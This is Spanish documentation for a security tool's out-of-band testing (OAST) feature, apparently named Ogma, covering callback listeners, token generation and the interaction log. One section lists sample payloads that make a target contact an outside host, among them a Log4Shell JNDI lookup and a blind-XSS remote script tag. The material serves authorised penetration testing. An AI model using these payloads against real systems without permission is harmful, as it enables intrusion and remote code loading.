OAST
OAST (pruebas de seguridad de aplicaciones fuera de banda, por sus siglas en inglés) detecta vulnerabilidades que no producen una respuesta visible; en su lugar, el objetivo establece una conexión saliente con un servicio de escucha que controlas, lo que confirma el problema.
Cómo funciona
Ogma ejecuta servicios de escucha locales en varios protocolos. Cuando una aplicación objetivo contacta con uno de estos servicios, la interacción se registra con la IP de origen, la marca de tiempo, los datos recibidos y el token que se inyectó.
Protocolos de escucha
| Protocolo | Puerto predeterminado | Caso de uso |
|---|---|---|
| HTTP | Configurable | SSRF, XSS ciego, webhooks |
| HTTPS | Configurable | SSRF mediante TLS |
| DNS | Configurable | Inyección ciega, XXE, log4shell |
| SMTP | Configurable | Inyección de cabeceras de correo electrónico, SSRF a servicios de correo |
Configura los puertos de escucha y el nombre de dominio usado en los tokens generados desde el panel de ajustes de OAST.
Generación de un token de callback
- Abre Utilidades > OAST.
- Haz clic en Generar token. Cada token es único para cada prueba.
- Copia el token. Incluye el dominio de tu servicio de escucha y un identificador único para poder asociar las interacciones a la prueba concreta.
Ejemplo del formato del token: [unique-id].[your-oast-domain]
Uso de tokens en cargas útiles
Inyecta el token de callback en cualquier campo desde el que la aplicación pueda establecer una conexión saliente:
- SSRF: usa el token HTTP/HTTPS como URL objetivo:
https://[token]/ - XXE: referencia el token en un DOCTYPE o en la URL de una entidad externa.
- Log4Shell: inclúyelo en una cabecera:
${jndi:ldap://[token]/a} - XSS ciego: inyéctalo como src de un script:
<script src="https://[token]/x.js"></script> - Inyección SMTP: úsalo como dirección de destino o URL en las cabeceras del correo electrónico.
Registro de interacciones
El panel de interacciones muestra cada callback recibido:
| Columna | Descripción |
|---|---|
| Hora | Cuándo se recibió la interacción |
| Protocolo | HTTP, HTTPS, DNS o SMTP |
| IP de origen | Dirección IP que estableció la conexión |
| Token | Token con el que se contactó |
| Datos | Ruta de la solicitud, nombre consultado por DNS o datos SMTP |
Haz clic en cualquier fila para ver los detalles completos de la interacción, incluidas las cabeceras y el cuerpo de la solicitud cuando corresponda.
Asociación de interacciones con pruebas
Como cada token es único, puedes inyectar tokens distintos en diferentes parámetros o solicitudes y determinar exactamente qué punto de inyección provocó el callback.